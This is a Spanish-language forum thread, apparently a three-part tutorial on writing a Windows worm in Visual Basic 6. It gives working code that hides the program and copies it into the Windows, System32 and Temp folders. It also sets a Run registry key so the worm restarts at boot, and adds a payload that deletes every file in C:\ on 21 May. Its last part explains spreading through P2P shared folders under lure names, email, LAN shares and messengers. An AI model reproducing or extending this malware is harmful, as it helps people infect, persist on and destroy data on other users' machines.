Mostrando resultados del 1 al 9 de 9

Tema: Programacion basica de gusanos en Visual Basic

  1. #1

    Predeterminado Programacion basica de gusanos en Visual Basic

    Parte 1

    ¿Por qué en Visual Basic?
    Ps porque el leguaje de Visual Basic esta basado en el lenguaje Basic (Su lenguaje original) y es un lenguaje muy sencillo para la programación, no solo de virus sino de aplicaciones. Muchos hablan de la sencilles de VB como si fuera hablar en Ingles, y aunque en algunos casos es cierto, no toda la programación en VB esta basada en ello. De hecho los programadores utilizan tecnicas que van adquiriendo con el tiempo para que sus codigos se vean con mas profecionalidad, de forma que disimula mas su sencilla estructura. Es necesario que antes de programar sepas el entorno con el que trabajaras, y por supuesto que te des una imagen de lo que quieres hacer, la imaginación juega mucho a la hora de programar virus, al igual que le analicis y la comprensión de otros softwares. Claro que lo que veremos a lo largo de este tutorial sera la forma basica para la creación de virus, para ser mas claro veremos como trabaja un virus, con que trabajaremos, como trabajaremos, programaremos una cabezera, funciones basicas, y un payload que sera aplicable a la estructura de nuestro programa. De ahora en mas, no llamaremos mas a nuestra creación un virus, sino que la llamaremos Worm (traducido al español/castellano: Gusano) ¿Por qué? Porque un virus se encarga de infectar y aprobechar los recursos de otros ficheros en el que se puede simplemente infiltrar o lo puede reemplazar. Se podria decir que virus es todo aque que infecta otros ficheros para su reproducción, miestras que el Worm utiliza tecnicas de propagacion que corren por su cuenta.

    Comenzamos por ver alguna cosas que necesitamos como base para programar un worm en Visual Basic (yo utilizare la versión 6.0, quiza lo que veamos a continuación se podra aplicar a su versión anterior 5.0, y lógicamente a una superior).
    En nuestro entorno veremos un cuadro de herramientas (ver figura 1) al cual le podremos agregar elementos, los cuales llamaremos controles. Los controles son aplicables al proyecto, para ello debemos hace clic en uno y luego en el formulario hacer clic y mantenerlo sostenido mientras arrastramos el mouse, luego lo podemos redimensionar haciendole clic o con las propiedades Width y Height, estas propiedades nos redimencionaran algun control en tiempo de ejecución (esto quiere decir que mietras estemos con VB el control tendra cualquier tamaño, pero al ejecutar la aplicación se redimencionara al tamaño que indiquemo en Width (Ancho) y en Height (Largo)).
    Para agregar controles debemos dirigirnos al menú “Proyectos”  “Componentes” o presionar ctrl. Y luego “T”. Asi veremos la ventana “Componentes” (ver figura 2) En la cual podemos escoger el cmponente que queramos agregar al proyecto, tildarlo y presionar “Aceptar”.


    En el cuadro de herramientas encontraremos controles que podemos utilizar en nuestro proyecto.


    Al abrir la ventana componentes encontraremos una lista con controles y componentes que podemos agregar al cuadro de herramientas para luego ser utilizados en el proyecto.

    Bueno, ya sabemos donde encontrar los controles y componentes que necesitamos, y si los necesitamos agregar. Ahora les hablare de los controles que se utilizan generalmente en la creación de virus o Works.
    El Control “Timer”`

    Este control nos permite ejecutar acciones cada cierto intervalo de tiempo. Dicho intervalo se indica en la propiedad “Interval” del mismo. Su utilización en la creación virica se basa en la mayoria de las veces para verificar algun dato. Por ejemplo, para saber si nos han eliminado, podemos crea un Timer con intervalo a 100 (acuerdence que la propiedad Interval toma sus valores como milisegundos es decir que si le ponemos valor 1000 sera 1 segundo (1000 milisegundos)) y utilizando la funcion “Dir” (no es necesario que lo sepan, es oslo un ejemplo, esta fusión devuelve una cadena vacia si el fichero o directorio que le pasamos como parámetros no existe, o su ruta completa si es que existe) podemos verificar cada 100 milisegundos si existe nuestro archivo o no.
    Tambien se utiliza para la propagacion por redes LAN o para la propagacion por unidades Extraíbles, pero esto ya pasa a un grado de dificultad mayor de lo que veremos, así que no le den importancia.
    El Control “Winsock”

    Este control se utiliza mas para la programación de troyanos, o aplicaciones Cliente/Servidor. Pero tambien existen los virus que utilizan este control para comunicarce con alguno de sus componentes y pasarle datos para que realice alguna accion.

    Los unicos controles mas utilizados son estos, les parece poco, pero que mas esperan? Si el virus o worm sera invisble y pos, no debemos darle una interfaz grafica.
    Otra cosa que tiene que quedar en claro es nunca utilizar el control TextBox para almacenar datos, esto los hace ver muy principiantes y ni siquiera los principiantes lo hacen (alguno si, por eso se los aclaro, esto los hace ver muy mal). La funcion del TexBox se puede aplicar a las Variables. Así que olvidence de usar ese control!

    Bueno, veamos un poco mas de teoria, pero le aplicaremos un poco de practica..

    Las Variables: Les hare lo mismo que mi profesora de biología, les dire “Este concepto ya lo tienen” y si no lo tienen creo que estan en lo muy basico y para empezar a programar virus no deben empezar por aquí . Las variables son muy pero muy utilizadas sobre todo en la creación de virus, donde los datos corren como agua en rio, es necesario declarar cada una de las variables para su correcto funcionamiento.

    Antes de comenzar con la creación de un worm (y de un virus) debemos asegurarnos que el formularios sea invisible a los ojos del usuario, así que le daremos a la propiedad “Visible” del mismo el valor False. Ahora, la cabezera del virus radica en el sub Form_Load que se produce al inciar el formulario (es decir al iniciar el worm). Lo primero que pondremos aquí sera: El valor false de la propiedad visible del formulario y una sentencia que hara que si el worm ya se estaba ejecutando, se cierre.
    Veran que ire aplicando comentarios, pos esto ayudara a comprender mejor el codigo. Así que nos vamos a la parte de Codigo de Visual Basic y escribimos lo siguiente:

    [code=vb]
    Private Sub Form_Load()
    'Hacemos invisible el formulario
    Me.Visible = False
    'Con el objeto App y su accion PrevInstance
    'obtendremos uno de dos valores (True o False)
    'que indican si la aplicacion estaba abierta o cerrada
    'respectivamente. Asique aplicamos una estructura If
    'para saber si nos estamos ejecutando.
    If App.PrevInstance = True Then
    'Si nos estabamoos ejecurtando
    'usamos "End" para finalizarnos
    End
    End If
    End Sub
    [/code]

    Hasta aquí vamos bien, ahora le daremos un proposito a nuestro virus. Se debera copiar en la raiz C:\ con el nombre “MiVirus.exe” cuando se ejecute. Pero sto sera muy facil, así que le agregaremos una funcion llamada “Comprobar” la cual comprobara si se ah podido copiar el worm en C:\ con el nombre “MiVirus.exe”. Para saber si se copio, usaremos la funcion Dir, que les di una pequeña explicación mas arriva de que hace y como funciona. De todas formas veran el codigo explicado en cada linea



    Explicación del App: El objeto App contiene ciertas acciones que podemos usar para saber información sobre el proyecto. Al momento de copiarnos, usamos dos veces el objeto App. Una vez para saber nuestra ruta y otra para saber nuestro nombre. Con App.Path y App.EXEName respectivamente. Los mismos devolveran la ruta (no completa, sino hasta el directorio donde nos encontramos) y el nombre (Sin la extencion).

    [code=vb]
    Private Sub Form_Load()
    'Hacemos invisible el formulario
    Me.Visible = False
    'Con el objeto App y su accion PrevInstance
    'obtendremos uno de dos valores (True o False)
    'que indican si la aplicacion estaba abierta o cerrada
    'respectivamente. Asique aplicamos una estructura If
    'para saber si nos estamos ejecutando.
    If App.PrevInstance = True Then
    'Si nos estabamoos ejecurtando
    'usamos "End" para finalizarnos
    End
    End If
    'Nos copiamos a la raiz C:\ con el nombre MiVirus.exe
    'para ello usamos la funcion FileCopy
    FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\MiVirus.exe"
    'Usamos Call para llamar al sub Comprobar que va a comprobar
    'si nos pudimos copiar:
    Call Comprobar
    End Sub

    'Creamos el sub Comprobar
    Private Sub Comprobar()
    'Usamos la funcion Dir para saber si existe la copia que hicimos
    'anteriormente. Si la funcion Dir es igual a "" quiere decir que
    'no existe, por lo tanto no se pudo copiar. en caso contrario si
    'se ah podido copiar por lo tanto esta todo bien.
    'Usamos la estructura If-Then-Else para hacer la verificacion
    If Dir(App.Path & "\" & App.EXEName & ".exe") = "" Then
    'Si no existe ejecutamos estas sentencias de aqui
    'en mi caso solo mostrare un mensaje:
    MsgBox "No se pudo copiar mi virus :'("
    Else
    'En caso contrario se ejecutan las sentencias de aqui
    MsgBox "Me pude copiar, que bien =D"
    End If
    End Sub
    [/code]

    Bueno, ya aprendimos a copiarnos. Pero tienen que saber que la mayoria de los virus se copian en directorios como: WINDOWS, System32, System o Temp. Ya que son mas difíciles de detectar aquí, y pueden usar nombre para pasar desapercibidos ante los ojos del usuario (por ahora no nos interesa el Antivirus, así que no te preocupes por el ).
    Para poder obtener los directorio de WINDOWS, System32 y Temp existe el objto FileSystemObject (llamado vulgarmente FSO). Lo que haremos ahora, sera usar el objeto para obtener estos tres directorio y creo una copia del virus a cada uno de los directorios.
    La funcion de FSO que permite obtener el directorio de WINDOWS, System32 y Temp son:
    GetSpecialFolder(0)
    GetSpecialFolder(1)
    GetSpecialFolder(2)
    Respectivamente, estas funciones devolveran el directorio completo, por ello devemos crear una variable para las 3 funciones y almacenar los datos que nos devuelvan aquí.
    Así que lo que aremos ahora sera: Luego de copiarnos en C:\, nos copiaremos en el directorio Windows con el nombre “Copia en WINDOWS”, en el directorio System32 con el nombre “Copia en SYSTEM” y en el directorio Temp con el nombre “Copia en Temp”.
    La funcion que hara esto se llamara “Copiadora”, así que la agregaremos al codigo:

    [code=vb]
    Private Sub Form_Load()
    'Hacemos invisible el formulario
    Me.Visible = False
    'Con el objeto App y su accion PrevInstance
    'obtendremos uno de dos valores (True o False)
    'que indican si la aplicacion estaba abierta o cerrada
    'respectivamente. Asique aplicamos una estructura If
    'para saber si nos estamos ejecutando.
    If App.PrevInstance = True Then
    'Si nos estabamoos ejecurtando
    'usamos "End" para finalizarnos
    End
    End If
    'Nos copiamos a la raiz C:\ con el nombre MiVirus.exe
    'para ello usamos la funcion FileCopy
    FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\MiVirus.exe"
    'Usamos Call para llamar al sub Comprobar que va a comprobar
    'si nos pudimos copiar:
    Call Comprobar
    'Con Call llamamos a la funcion Copiadora que nos copiara
    'en los directorios WINDOWS, System y Temp
    Call Copiadora
    End Sub

    'Creamos el sub Comprobar
    Private Sub Comprobar()
    'Usamos la funcion Dir para saber si existe la copia que hicimos
    'anteriormente. Si la funcion Dir es igual a "" quiere decir que
    'no existe, por lo tanto no se pudo copiar. en caso contrario si
    'se ah podido copiar por lo tanto esta todo bien.
    'Usamos la estructura If-Then-Else para hacer la verificacion
    If Dir(App.Path & "\" & App.EXEName & ".exe") = "" Then
    'Si no existe ejecutamos estas sentencias de aqui
    'en mi caso solo mostrare un mensaje:
    MsgBox "No se pudo copiar mi virus :'("
    Else
    'En caso contrario se ejecutan las sentencias de aqui
    MsgBox "Me pude copiar, que bien =D"
    End If
    End Sub

    'Creamos la funcion Copiadora
    Private Function Copiadora()
    'Creamos el objeto FSO, para esto usamos "Set"
    'luego de el le aplicamos un nombre para referirnos al
    'objeto y depsues agregamos un "=" y con la palabra
    '"CreateObject" entre parentecis escribimos el objeto...
    'Pero recuerde SIMEPRE DEBEN DECLARAR LAS VARIBALES, en nuestro
    'caso, la variable sera FSO y sera de tipo "Objeto":
    Dim FSO As Object
    'Ahora si, creamos el objeto y se lo aplicamos a la variale FSO
    Set FSO = CreateObject("Scripting.FileSystemObject")
    'Ahora declaramos las tres variables que contendran los directorios:
    Dim CarpetaWindows As String 'Para el directorio Windows
    Dim CarpetaSystem As String ' Para el directorio System
    Dim CarpteaTemp As String ' para el directorio Temp
    'Ahora usamos la funcion GetSpecialFolder para darle el directorio
    'a cada una de las variables, recuerden:
    'El 0 es para Widnows
    'El 1 es para System
    'El 2 es para Temp
    Set CarpetaWindows = FSO.GetSpecialFolder(0)
    Set CarpetaSystem = FSO.GetSpecialFolder(1)
    Set CarpetaTemp = FSO.GetSpecialFolder(2)
    'Ahora seguimos por crear las copias, como ya lo habiamos hecho.
    'Solo cmabia la manera de escribir el destino:
    FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaWindows & "\Copia en Windows.exe"
    FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaSystem & "\Copia en System.exe"
    FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaTemp & "\Copia en Temp.exe"
    'Asi ya estamos copiados!
    End Function
    [/code]

    Y vemos como el codigo se va agrandando de a poco. Ahora ya logramos copiarnos en el sistema, y el usuario no nos encontrara. Pero.. Hay una cosa importante, cuando el usuario reinicie, ¿Cómo hacemos paa que el usuario vuelva a abrir el virus? Esta es una preguntta importante. Pero recuerden que tenemmos nuestras copias en los directorios especiales del sistema. Y hay una peculiaridad en el Registro de Windows, que es que permite crear una entrada en una clave especial y esa entrada se abrira cada vez que inicie el sistema. Así que, si a esta entrada le damos como valor la ruta del Worm, el worm se ejecutara cada vez que el sistema inicie!!. Es perfecto, así que vemos como y donde escribir en el registro.
    Si no conoces el registro, no es buena idea que sigas leyendo, recomiendo uses Google y busques algo como “El Registro de Windows”, busca info, y leela, asi sabras de lo que hablare, ya que no profundizare el tema del registro de windows.
    Exisate otro objeto, similar al FSO, solo que este se llama WScript.Shell y vulgarmente se lo llama WSS o WS. Este objeto contiene una funcion (como la funcion GetSpecialFolder de FSO) que nos permite escribir en el registro, esta funcion se llama RegWrite. La funcion RegWrite nos escribira una entrada en registro, en nuestro caso la clave que nos interesa es “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\C urrentVersion\Run” lo que copiaremos en esta entrada sera la ruta completa de nuestra copia en el directorio Windows. Asi cuando inicie el sistema, se abrira la copia Así que hagamoslo:

    [code=vb]
    Private Sub Form_Load()
    'Hacemos invisible el formulario
    Me.Visible = False
    'Con el objeto App y su accion PrevInstance
    'obtendremos uno de dos valores (True o False)
    'que indican si la aplicacion estaba abierta o cerrada
    'respectivamente. Asique aplicamos una estructura If
    'para saber si nos estamos ejecutando.
    If App.PrevInstance = True Then
    'Si nos estabamoos ejecurtando
    'usamos "End" para finalizarnos
    End
    End If
    'Nos copiamos a la raiz C:\ con el nombre MiVirus.exe
    'para ello usamos la funcion FileCopy
    FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\MiVirus.exe"
    'Usamos Call para llamar al sub Comprobar que va a comprobar
    'si nos pudimos copiar:
    Call Comprobar
    'Con Call llamamos a la funcion Copiadora que nos copiara
    'en los directorios WINDOWS, System y Temp
    Call Copiadora
    'De nuevo usamos Call para llamar a la funcion "Registrame"
    'la cual agregara una entrada en el regitro en la clave
    'Run para poder ejecutar la copia que hicimos en C:\
    'cada vez que se inicie el sistema:
    Call Registrame
    End Sub

    'Creamos el sub Comprobar
    Private Sub Comprobar()
    'Usamos la funcion Dir para saber si existe la copia que hicimos
    'anteriormente. Si la funcion Dir es igual a "" quiere decir que
    'no existe, por lo tanto no se pudo copiar. en caso contrario si
    'se ah podido copiar por lo tanto esta todo bien.
    'Usamos la estructura If-Then-Else para hacer la verificacion
    If Dir(App.Path & "\" & App.EXEName & ".exe") = "" Then
    'Si no existe ejecutamos estas sentencias de aqui
    'en mi caso solo mostrare un mensaje:
    MsgBox "No se pudo copiar mi virus :'("
    Else
    'En caso contrario se ejecutan las sentencias de aqui
    MsgBox "Me pude copiar, que bien =D"
    End If
    End Sub

    'Creamos la funcion Copiadora
    Private Function Copiadora()
    'Creamos el objeto FSO, para esto usamos "Set"
    'luego de el le aplicamos un nombre para referirnos al
    'objeto y depsues agregamos un "=" y con la palabra
    '"CreateObject" entre parentecis escribimos el objeto...
    'Pero recuerde SIMEPRE DEBEN DECLARAR LAS VARIBALES, en nuestro
    'caso, la variable sera FSO y sera de tipo "Objeto":
    Dim FSO As Object
    'Ahora si, creamos el objeto y se lo aplicamos a la variale FSO
    Set FSO = CreateObject("Scripting.FileSystemObject")
    'Ahora declaramos las tres variables que contendran los directorios:
    Dim CarpetaWindows As String 'Para el directorio Windows
    Dim CarpetaSystem As String ' Para el directorio System
    Dim CarpteaTemp As String ' para el directorio Temp
    'Ahora usamos la funcion GetSpecialFolder para darle el directorio
    'a cada una de las variables, recuerden:
    'El 0 es para Widnows
    'El 1 es para System
    'El 2 es para Temp
    Set CarpetaWindows = FSO.GetSpecialFolder(0)
    Set CarpetaSystem = FSO.GetSpecialFolder(1)
    Set CarpetaTemp = FSO.GetSpecialFolder(2)
    'Ahora seguimos por crear las copias, como ya lo habiamos hecho.
    'Solo cmabia la manera de escribir el destino:
    FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaWindows & "\Copia en Windows.exe"
    FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaSystem & "\Copia en System.exe"
    FileCopy App.Path & "\" & App.EXEName & ".exe", CarpetaTemp & "\Copia en Temp.exe"
    'Asi ya estamos copiados!
    End Function

    Private Sub Registrame()
    'Declaramos la variable WSS como objeto
    Dim WSS As Object
    'Creamos el objeto WScript
    Set WSS = CreateObject("WScript.Shell")
    'Usamos la funcion RegWrite para escribir la entrada
    'en el registro. vemosla y la leeran tantas veces como
    'sea necesario hasta que la entiendan:
    WSS.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run", "C:\MiVirus.exe"
    End Sub
    [/code]

    Bueno, ya sabemos lo basico para la creación de un virus, con un poco de practica una base de conocimientos minimos podemos crear un pequeño virus que infecte el sistema copiandose en directorios especiales y se inicie cada vez que se abre el sistema (esto se llama residente en memoria ).
    Asi ps aquí termina el tutorial basico para la creación de Works en VB6. NBotaran que es cortito y simple, pero les servira. No se preocupen que pronto hare otro tutorial, quiza lo llame como la segunda parte de este ya que hay otras cosas basicas que podria explicar, pero ahora no tengo mucho tiempo y les dejo esto porque les sirve para iniciarce.
    Mañana quiza postee la segunda parte en donde veremos la eliminación de archivo, la lectura de los mismo, y mas sobre como crear Works en VB6.
    Por ahora, pueden leer otros temas como Estructuras y bucles y Tratamiento de cadenas que les servira para afianzar mas los conocimientos. Y esta información también les servira para la 2da parte, ya que utilizaremos estos temas

    Por ahora, les dejo uno Salu2! Y sigan practicando!

  2. #2

    Predeterminado Re: Programacion basica de gusanos en Visual Basic

    Parte 2

    Hasta ahora sabemos copiar nuestro worm en un lugar escondido, y sabemos como hacer para hacerlo residente en memoria (usando entradas en el registro), y sabemos mas o menos como manejarnos con Visual Basic. En esta segunda parte haremos algunas cosillas mas que son aplicables a Works. No desesperes que voy a hacer una tercera parte donde al fin construiremos un virus que infecte ficheros. Pero imagínate que para pasar de copiar un fichero a infectarlo hay algunas cosas que ver entre medio .
    Pos bien, aquí veremos como podemos hacer para eliminar un fichero usando la sentencia Hill. Espero que hayas leído los enlaces que te deje en la primer parte de este tutorial, y si no lo hiciste hazlo antes de seguir, ya que quizás los necesites…
    Así que comencemos…
    Puede que algunas veces necesitemos eliminar algún fichero. Ya se a para nuestro bien como para el bien del usuario infectado o para el mal del usuario infectado. Visual Basic proporciona una sentencia llamada “Kill” que se utiliza para la eliminación de archivos. La forma en que se usa es muy fácil, se introduce la sentencia Hill en una línea limpia y seguido de un espacio luego de la sentencia la ruta completa del fichero a eliminar. Así ps, si queremos eliminar nuestras copias que hicimos en la parte numero uno, aquellas que hicimos en los 3 directorios especiales, haremos lo siguiente. Atención al código que si son muy nuevos en el tema quizá no lo entiendan (seguro que la mayoría lo hará, pero igual lo explicare en los comentarios). Veamos el código:

    [code=vb]
    Private Sub Form_Load()
    'Declaramos las variables!
    Dim FSO As Object
    Dim CarpetaWin As String, CarpetaSys As String, CarpetaTem As String
    'Creamos el objeto FileSystemObject
    Set FSO = CreateObject("Scripting.FileSystemObject")
    'Obtenemos y almacenamos la ruta de los directorios:
    'Mira bien lo que hago, como ya deberias saber, al crear
    'un bucle, le debemos atribuir una variable, en este caso
    'la variable es "NUMERO" para que se note bien ^^
    'Entonces lo que hacemos es un bucle de 0 a 2, y luego
    'para saber por donde bamos, creamos una estructura Select Case
    'Deberias entender si has leido los link que te deje en la primer
    'parte de este tutorial. Luego usamos la variable para pasarcela
    'a la funcion GetSpecialFolder...
    For NUMERO = 0 To 2
    Select Case NUMERO
    'Si vamos por 0
    Case 0
    'Obtenemos el directorio de WINDOWS
    Set CarpetaWin = FSO.GetSpecialFolder(NUMERO)
    'Si vamos por 1
    Case 1
    'Obtenemos el directorio de System
    Set CarpetaSys = FSO.GetSpecialFolder(NUMERO)
    'Si vamos por 2
    Case 2
    'Obtenemos el directorio Temp
    Set CarpetaTem = FSO.GetSpecialFolder(NUMERO)
    End Select
    Next NUMERO 'Seguimos con el bucle que corresponde a "NUMERO"
    'Muy bien, ua yenemos los directorios, ahora usaremos
    'la sentencia Kill para eliminar las copias que habiamos hecho.
    'Por si no lo recuerdas, el nombre de las copias eran:
    'La de WINDIWS: Copia en WINDOWS.exe
    'La de System: Copia en System.exe
    'La de Temp: Copia en Temp.exe
    '-----------------------------
    'Recuerda que si los archivos no existen, VB nos mandara un error
    'Comenzamos a eliminar:
    Kill CarpetaWin & "\Copia en WINDOWS.exe"
    Kill CarpetaSys & "\Copia en System.exe"
    Kill CarpetaTem & "\Copia en Temp.exe"
    End Sub
    [/code]

    Ahora la sentencia Hill nos permite eliminar un fichero determinado, pero también un fichero de cualquier nombre con alguna extensión en particular, para ello en vez de poner “Cualquier Nombre”.”Extencion EXE” se lo traducimos a VB y cambiamos el “Cualquier” por un “*” (Asterisco) y VB sabrá que se trata de un nombre ya que esta a la izquierda del punto . Luego a la derecha del punto le ponemos la extensión, en este caso “exe” y pos, eliminara todos los archivos exe de ese directorio.
    En resumen, para indicar a VB que puede ser cualquier cosa (cualquier nombre o cualquier extensión) usamos el carácter comodín “*” (Asterisco). También podemos eliminar todos los archivos con algún nombre y cualquier extensión, o todos los archivos con cualquier nombre y cualquier extensión.

    Bueno, ahora para terminar con esta primer parte veremos algo sobre los Payload’s:
    Un Payload es una función que puede o no contener los virus o worm, un payload es algo “especial” o algo que caracteriza de cierta forma la funcionalidad del virus. Como la ejecución de alguna sentencia un día determinado. O que el virus solo infecte los días X del mes Y. Cosas así conforman un Payload. Quizás la eliminación de ficheros, la infección de ficheros, una copia por todo el disco. Y siempre se le agrega que se haga en un determinado tiempo, como para dar una peculiaridad, y un control sobre el sistema.
    Nosotros hasta el momento solo podemos crear un virus que al ser ejecutado, realice sus copias, se agregué al registro quedando como un virus residente en memoria y podemos eliminar ficheros, en nuestro ejemplo yo eh eliminado las copias que habíamos creado, pero quizás algunos no se hallan dado cuenta de que solo elimine estas 3 copias que usábamos para nada, pero no elimine la que se encontraba en C:\ que la usábamos para volver a ejecutarnos en cada inicio del sistema.
    Bueno ahora vamos a crear un payload. Lo que hará no es mucho, pero repito de nuevo en este tutorial que esto es todo una base, y todo pasa por la creatividad e imaginación de cada uno. Lo que hará nuestro payload será eliminar todos los archivos que se encuentren en C:\ el dia 21 de Mayo (21/5). Para esto usaremos una estructura “If” y las funciones Day y Month que nos devolverán una día un mes, respectivamente. Vemos el código:

    [code=vb]
    Private Sub Payload()
    'Usamos la funcion Day,
    'para obtener un dia,
    'como le pasamos el parametro
    '"Now", nos devolvera el dia actual
    If Day(Now) = 21 Then
    'Usamos la funcion Month para obtener
    'el mes actual (funciona igual que Day)
    If Month(Now) = 5 Then
    'Si se va a ejecutar esto es porque es 21/5
    'entonces eliminamos los archivos:
    Kill "C:\*.*"
    End If
    End If
    End Sub
    [/code]

    Increíble que haya quedado tan cortito, pero igual hemos terminado con la segunda parte. Así que abrimos paso a la tercer parte
    les dejo un saludo.

  3. #3

    Predeterminado Re: Programacion basica de gusanos en Visual Basic

    Parte 3

    Hemos llegado a la tercera parte de este tutorial. En las dos pequeñas partes anteriores hemos visto cosas muy básicas con las que ya debemos tener una base para crear nuestro virus. Ahora avanzaremos un poco. Debido a que este tutorial se basa en la programación de virus, no me pondre a explicar cosas referentes al manejo de archivos, bucles, los tratamientos de cadenas, los controles. Esas cosas las podran encontrar buscando en Google , así que si todavía no saben alguna de esas cosas (no es necesario saberlo profundamente), le recomiendo busquen… Les dejare unos link que eh encontrado buscando en google :
    Manejo de Archivos en Visual Basic
    Copiar carpetas con FyleSystemObject
    Manejo de archivos txt con FyleSystemObject
    Eliminar directorios completos con FyleSystemObject
    Menú - Controles estándar , controles no estándar de Visual Basic y Referencias Activex
    Funciones útiles para Visual Basic - por: Jose Carlos Garcia Neila
    Funciones de Visual Basic (Recomendado leerlo!
    Recorrido y listado de directorios y archivos
    Leer y Escribir en archivos INI
    Simple Mail Transfer Protocol (SMTP) – Definición
    Propagacion por SMTP


    Bueno, no creo que vayan a leer todos los link que les deje, pero yo les recomiendo que lo hagan, sobre todo el que les deje marcado como Recomendado, que lista todas las funciones reservadas de VB que utiliza para diferentes manejos de datos..
    Ahora lo que vamos a hacer es hablar sobre la propagacion, que es algo muy usado en works..

    La propagacion de un worm/virus no es su parte esencial, pero la mayoria lo ve como algo muy importante y que si o si debe estar. Por mi parte no lo veo asi, pero igual les mostrare algunas tecnicas simples que le podemos aplicar a un worm.

    *Propagacion por redes Peer To Peer*

    Increíblemente se hiso muy famosa esta tecnica debido a que las redes P2P (Peer To Peer) han crecido maravillosamente. En estas redes se puede encontrar todo tipo de datos, de archivos, de información. Asi pos los programadores de virus se han dado cuenta que un archivo que se guarde en la carpeta shared de dicho programa p2p sera subido a la red para que otros usuarios lo bajen. Y bueno, ya se imaginaran lo que siguie, un virus que se copiaba a esa carpeta con un nombre llamativo. Hoy en dia hay muchisimos ficheros infectados en las redes p2p, y se corre un riesgo impresionante al bajar archivos de alli.
    En fin, la forma de propagarnos por redes p2p es muy simple, se basa en copiarnos en la carpeta shared. Lo podemos hacer de una manera muy simple, en donde básicamente intentamos introducir el archivo de forma bruta (por decirlo asi), sion saber si la carpeta existe o si inclusive saber si existe el programa p2p. Esta forma es algo como:
    [code=vb]
    FileCopy App.Path & “\” & App.EXEName & “.exe”, “C:\Archivos de programas\eMule\Incoming\Pamela Anderson desnuda.jpg.exe”
    [/code]

    Claro que son infitos los problemas que trae esto.. Por eso se fue perfeccionando esta tecnica haciendo que el virus sepa si existe un programa p2p, si dicho programa existe, buscan su carpeta shared, obtienen la ruta completa de la carpeta shared y se copia en ella.
    Parece simple, pero hay cientos de programas p2p, y se debe armar una funcion para cada uno ya que no todos son iguales. Por lo general podemos obtener los datos del registro de windows, buscando en la clave donde se ubican todos los ficheros de desintalacion de programas. Asi podemos buscar una clave llamada “eMule” y dicha clave va a tebner una entrada llamada “UninstallString” cuyo valor va a ser la ruta completa del fichero que desinstalara al eMule. Así que, si esta entrada existe, sabemos que el eMule existe. Obtenemos el valor, y le sacamos todos los caracteres desde la derecha hasta encontrarnos con el carácter “\” ¿Te has dado cuenta? Debemos saber el tratamiento de cadenas . Luego de hacer esto obtuvimos el directorios del eMule, solo nos falta encontrar su carpeta shared, pero.. ¿Para que queremos el directorio del eMule?, pos a eso voy La mayoria de los programas p2p guarda la ruta de su carpeta shared en un fichero “.ini” (Por eso les deje el link para que vean como se escribe y se leen archivos ini). Así que por ejemplo el eMule guarda la ruta de su carpeta shared en el fichero “Preferences.ini” que se ubica dentro de la carpeta “Config” ubicada en su directorio de instalacion.
    Para obtener la ruta de la carpeta deceada, debemos leer el archivo ini, el dato que debemos leer es “IncomingDir”.
    Bueno, al leer ese dato obtenemos su valor que va a ser la ruta completa de la carpeta shared, asi ps, luego hacemos 1000 copias con nombre bien atractivos y listo
    Yo eh tomado como ejemplo el eMule, pero tambien esta el Kazaa, el Gnucleus, el ICQ, Morpheus, y otros muchos. Lo ideal es desacargarlos, instalarlos y buscar una manera de encontrar su carpeta shared. Por lo general es recomendable leer cualquier archivo ini o cualquier fichero que se vincule ocn la configuración y las preferencias del mismo. Así que asi podemos encontrar su carpeta mas presiada y jeje, no copiamos :P
    Hay algunos programas que encriptan los fichero .ini o dat y que nos complicaran la búsqueda, pero si se puede

    *Correo SMTP*
    La propagacion por correo electronico es una buena alternativa, dado que ofrece la posibilidad de llegar a muchos contactos. El unoco problema es que actualmente los servidores smtp no permiten su funcionalidad remota. Pero ubo un timepo en que los servidores smtp de Hotmail estubieron activos aptos para su utilización desde afuera lo que permitio a muchos virus crear un motor smtp para enviar correo desde un mail a todos los contactos de la victima enviando como adjunto el virus..
    La forma de propagar un virus por correo electronico se basa en crear un motor smtp que pueda establecer contacto con el servidor smtp de correo, y cuando este lo habilite al virus para enviar correo, el virus le enviara los datos al servidor.
    Les eh dejado un link en donde encontraran un articulo de cómo funciona el servicio smtp y otro donde encontraran la fomra de crear un motor smtp en Visual Basic.

    *Propagacion por redes LAN*
    Esta tecnica se basa mas bien en un bug, aunque no se lo podria llamar asi, el nombre mas apropiado seria un despiste de Microsoft que nos permite copiar archivos en las carpetas de los sistemas que se conecten a travez de una red lan a la pc infectada. Asi pos, nuestro virus se podria copiar en el directorio INICIO de la maquina remota, y cuando dicha maquina se reinicie se iniciara el virus junto con el sistema. Tambien se pueden hacer copias en el escritorio, donde le ponemos un nombre muy atractivo asi el usuario lo ejecutara.
    Tambien podemos copiarnos en los archivos copartidos por la red, aunque es menos probable que un usuario remoto se infecte ya que no se suele rebisar mucho esas carpetas. Y ademas no tendremos muchas posibilidades de infectar, por ejemplo, un cyber.
    Para los interesados, luego les dejare un codigo bien explicado de cómo copiarnos a la carpeta de archivos compartidos.

    *Propagacion por programas de mensajeria instantanea*
    El programa mas usado para esta tecnica es el Messenger de Microsoft, debido a que Visual Basic nos pone a nuestra disposición una referencia al objeto que nos permite realizar muchas acciones sobre el Messenger y entre ellas se encuentran las que nos interesa:
    Listar Contactos
    Abrir ventanas de conversacion
    Enviar datos a esa ventana
    En este momento estoy haciendo un articulo sobre como propagarnos por Messenger usando Visual Basic, cuand este listo les pondre el link
    Pero tambien existen otros programas como el Yahoo Messenger, el ICQ o tambien el Skype que permite enviar archivos.
    Para propagarnos por esto se necesitan unos conocimientos mas elebados en donde podremos manejar handles de ventanas e indentificarlas, enviarlas la frente y enviarle datos a la ventana de conversación correspondiente. No eh conocido muchos virus que se propagen por varios programas de mensajeria, solo uno escrito por Nemlim antiguo miembro de GEDZAC Labs.

